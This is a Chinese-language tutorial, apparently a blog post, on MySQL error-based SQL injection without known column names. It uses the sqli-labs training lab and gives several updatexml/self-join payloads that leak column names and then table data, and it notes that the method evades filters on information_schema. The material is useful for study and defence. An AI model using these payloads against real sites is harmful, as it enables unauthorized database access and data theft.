0x00 原理
mysql无列名注入是报错注入的一个变种,前提是已知表名,但是不知道列名,或者只知道部分列名,可通过报错注入拼接查询自身表,当自表被拼接时,由于存在重复属性列,会将列信息报错返回,这样我们就能知道表中的列名,再select 列名 from 表名 可直接查询出对应的数据。
0x01 注入方法
这里使用sqlilabs-1来演示。
0x01.1 使用union进行无列名注入
前提条件是我们知道sqlilabs 有 security 数据库 emails 数据表 但我们不知道列名是什么。
爆第一个列名
payload: ?id=1\’ and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b)c),0x7e),1)–+
爆第二个列名
payload: ?id=1\’ and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b using(id))c),0x7e),1)–+
using(id)的意思是将表通过id进行拼接,也就是说拼接两张都含有id的表,其他表中属性进行并运算拼接,如果出现重复属性则报错。
尝试爆第三列
payload: ?id=1\’ and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b using(id,email_id))c),0x7e),1)–+
虽然提示 Operand should contain 1 column(s) , 其实已经查询失败了。
对爆出的email_id列进行查询
payload: ?id=1\’ and updatexml(1,concat(0x7e,(select concat_ws(\’|\’,id,email_id) from emails limit 0,1),0x7e),1)–+
payload: ?id=1\’ and updatexml(1,concat(0x7e,(select group_concat(email_id) from emails limit 0,1),0x7e),1)–+
0x01.2 不使用union进行无列名注入
爆第一个列名
payload: ?id=1\’ and updatexml(1,concat(0x7e,(select * from (select * from emails as a join emails as b)c),0x7e),1)–+
出了 id 列
爆第一个列名
payload: ?id=1\’ and updatexml(1,concat(0x7e,(select * from (select * from emails as a join emails as b using(id))c),0x7e),1)–+
出了email_id列
查询和使用union的一样。
0x02 总结
这种注入方式在使用正则表达式过滤了information_schema.tables,information_schema.columns等常规注入查询系统表或者过滤了table_name,column_name时非常有效!